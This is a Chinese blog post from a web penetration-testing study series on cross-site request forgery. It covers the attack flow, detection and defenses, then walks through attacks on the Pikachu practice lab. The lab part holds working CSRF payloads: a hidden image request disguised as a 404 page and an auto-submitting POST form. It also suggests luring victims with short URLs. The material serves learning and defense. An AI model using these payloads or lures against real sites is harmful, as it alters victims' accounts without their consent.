avatar

web渗透学习笔记[六]--csrf

CSRF

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

A是存在csrf漏洞的网站,B是攻击者恶意构建的网站,C是受害者

  1. 受害者C打开浏览器之后,访问A网站,输入自己的用户名和密码请求网站A
  2. 用户者信息通过了验证,网站A产生一个cookie值,返回给了浏览器
  3. 用户并未退出网站A,并且在同一个浏览器内打开了一个新的页面
  4. 网站B收到用户的请求,返回攻击性的代码,发出一个请求要求访问站点 A
  5. 浏览器接收到攻击代码,根据攻网站B的请求,在用户不知情的情况下携带了cookie信息,像网站A发出请求,网站A不知道该请求是由谁发起,会根据cookie值以C的权限处理请求,导致B的恶意代码被执行。

漏洞常见位置

修改管理员账号,不需要验证旧密码

修改敏感信息不需要token验证

确认凭证的有效期虽然退出或关闭了浏览器,但是cookie仍然有效,或者session没有及时过期

检测

检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。

防御CSRF攻击

  • 验证码来检测用户提交
  • 验证Referer/Content-Type
  • 对于用户修改删除等操作最好都使用POST操作
  • 避免全站通用的cookie,严格设置cookie的域

(1)验证 HTTP Referer 字段

​ 根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL,通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。

​ 这种方法的显而易见的好处就是简单易行,网站的普通开发人员不需要操心 CSRF 的漏洞,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。

​ 然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不安全。事实上,对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以篡改 Referer 值。如果 bank.example 网站支持 IE6 浏览器,黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址,这样就可以通过验证,从而进行 CSRF 攻击。

即便是使用最新的浏览器,黑客无法篡改 Referer 值,这种方法仍然有问题。因为 Referer 值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权,特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此,用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时,网站会因为请求没有 Referer 值而认为是 CSRF 攻击,拒绝合法用户的访问。

(2)在请求地址中添加 token 并验证

​ CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

​ 这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上 ,这样就把 token 以参数的形式加入请求了。但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。

​ 该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token,黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使这个 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。

(3)在 HTTP 头中自定义属性并验证

​ 这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。

​ 然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。另外,对于没有进行 CSRF 防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。

此部分来自https://blog.csdn.net/xiaoxinshuaiga/article/details/80766369

例子:

pikachu-csrf-get

查看提示,选择一个账户登录

image-20200508162609487

image-20200508162719750

点击修改个人信息

将sumit之后的包抓下来

image-20200508162812502

1
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456&add=chain&email=vince%40pikachu.com&submit=submit

将123456改成88888

新建一个html文件

写入:

1
2
3
4
5
<img src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=88888&add=chain&email=vince%40pikachu.com&submit=submit" border="0"style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

诱导用户点开此网页可以使用短网址

当用户点开网页的时候,信息已经被更改。

image-20200508163349049

pikachu-csrf-post

这里使用的是post请求

构造一个类似的表单

image-20200508165818392

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="12345678922" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="lucy@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

放在公网服务器上

诱导用户访问公网地址,

信息修改成功

image-20200508170141411

pikachu-csrf-token

每次访问的时候都会有一个随机的token值,每次进行验证。

但是此种方法可以和xss配合使用

文章作者: jia9yo
文章链接: http://wlaqstcs.com/999/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 jia9yo-网络安全渗透测试

评论